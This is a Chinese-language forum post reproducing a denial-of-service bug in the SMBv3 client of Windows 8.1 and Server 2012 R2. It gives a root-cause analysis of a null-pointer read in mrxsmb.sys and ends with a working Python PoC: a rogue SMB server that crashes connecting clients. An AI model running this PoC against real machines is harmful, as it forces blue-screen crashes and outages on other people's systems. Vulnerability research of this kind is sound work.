標題:SMBv3空指針引用dos漏洞復現

taibeihacker

Moderator

0x01 前言​

去年年底,當設置一個模擬器來定位SMB協議時,發現了一個如此簡單而又非常有效的攻擊大型企業的漏洞。TL; DR:一個拒絕服務錯誤允許BSOD協議向Windows 8.1和Windows Server 2012 R2計算機發送單個數據包。

0x02 测试环境​

受影響的系統:
马云惹不起马云Windows 8.1(x86)
马云惹不起马云Windows Server 2012 R2(x64)

0x03 背景知识​

要了解此漏洞的根本原因,需要了解SMB數據包的結構方式。讓我們來看一下SMBv1协议头文件
lnc4am0eo2l23974.jpg

yxq4yx0jsi323975.jpg

正如我們所看到的協議字段以FF字節開始,現在讓我們來看看SMBv2
feakt5zrn1j23976.jpg

協議字段現在以FE字節開始,那麼SMBv3呢? SMB協議的v3版本已經過加密,並將使用SMB2_Transform的特定頭部進行加密通信:
yew51myn3xa23977.jpg

SMBv3始終是加密的,正如可以在官方文檔中了解到SMBv3會話的協商從SMBv2會話開始。以下是設置SMBv3會話時涉及到的數據包:
g3fvrigf4ty23978.jpg

在1到8字節的數據包中,SMB數據頭看起來像這樣:
bsljwhtygah23979.jpg

我們可以看到,使用的字節序列仍然是0xFE,它是Microsoft官方文檔中指示的SMBv2的代碼。
從第9字節開始,加密處於連通狀態,並且報頭中使用的字節序列將為0xFD
yp3a5rpjvlt23981.jpg

正如您在PoC中看到的那樣,當第一次會話時立即發送帶有0xFD報頭的SMB數據包時會發生內核崩潰。現在,讓我們深入了解崩潰轉儲機制,以了解此次崩潰的根本原因。

0x04 根本原因分析​

僅在Windows 8.1(x86)上執行來分析根本原因,發送特定數據包會導致內核崩潰,因為它要從內存中讀取地址為0x00000030處受保護(空頁面保護)的值。
xagsfy41rih23983.jpg

發生崩潰的模塊是“mrxsmb.sys”,它是Microsoft服務器消息塊(SMB)的重定器。崩潰的確切位置是mrxsmb! SmbWksReceiveEvent + 8539,其中從[ecx + 30h]發生偏移到EAX,ECX的值指向0x00000000。當我們通過IDA分析流程時,它看起來如下所示:處理數據包並檢查是否啟用了加密,這與使用加密SMB數據包的SMB
3.0相關
gvqv2icecey23984.jpg

在WinDBG中,它看起來像這樣:
ndivrs4tezz23986.jpg

從本質上講,它將檢查加密是否被啟用,如果在這種情況下,它將遵循“錯誤”路徑並轉移到下一個函數:
2rngcc45ngp23988.jpg

它將執行一些比較指令,並且第二個最後的指令是檢查是否用十六進制值0x34註冊ECX。如果ECX低於或等於0x34,在這種情況下發發生錯誤:
11x2njvga4o23989.jpg

遵循“錯誤”路徑:發生另一條指令,在這種情況下,如果寄存器EDX(攻擊者可控制值)高於[ESP + 4C]的值,它將遵循“真實”路徑
cvqh35xt2p123991.jpg

各種寄存器中的值:
4d41d0gbloe23992.jpg

下一條指令再次將ECX的值與0x34進行比較,如果ECX高於0x34,它將遵循“真實”路徑
r23mg23cxa323994.jpg

在這種情況下,它將遵循真實路徑,因為ECX的值高於0x34。以下指令塊將_Microsoft_Windows_SMBClientEnableBits的值0x80000000之間的值進行測試。在WinDBG中,我們可以看到測試會導致“錯誤”,隨後將遵循“錯誤”路徑。
wblnsnaduq323996.jpg

引導我們接受一個始終為“true”的測試指令
dkwg1u1rl0n23997.jpg

轉而使用locA0F20E05”功能,將零置於堆棧之後,在這種情況下,它將運行“loc A0F20E15”:在將ECX + 30h移至EAX的指令處,會發生崩潰,因為ECX為0x00000000,它將嘗試讀取受保護內存空間0x00000030的值。
ukzu4atlmda23999.jpg

這會導致內核崩潰,並強制機器重新啟動。

0x05 利用poc​

import SocketServer
from binascii import unhexlify
payload='000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
def handle(self):
try:
print 'From:', self.client_address
print '[*]Sending Payload.'
self.request.send(unhexlify(payload))
except Exception:
print 'BSoD Triggered on', self.client_address
pass
SocketServer.TCPServer.allow_reuse_address=1
launch=SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()

0x06 漏洞复现​

1.在kali執行腳本
ktnzri0c0o324001.jpg

2.然後在windows2012 r2上訪問共享地址:\\10.0.0.217,會立即看到操作系統藍屏!
1.png
 
返回
上方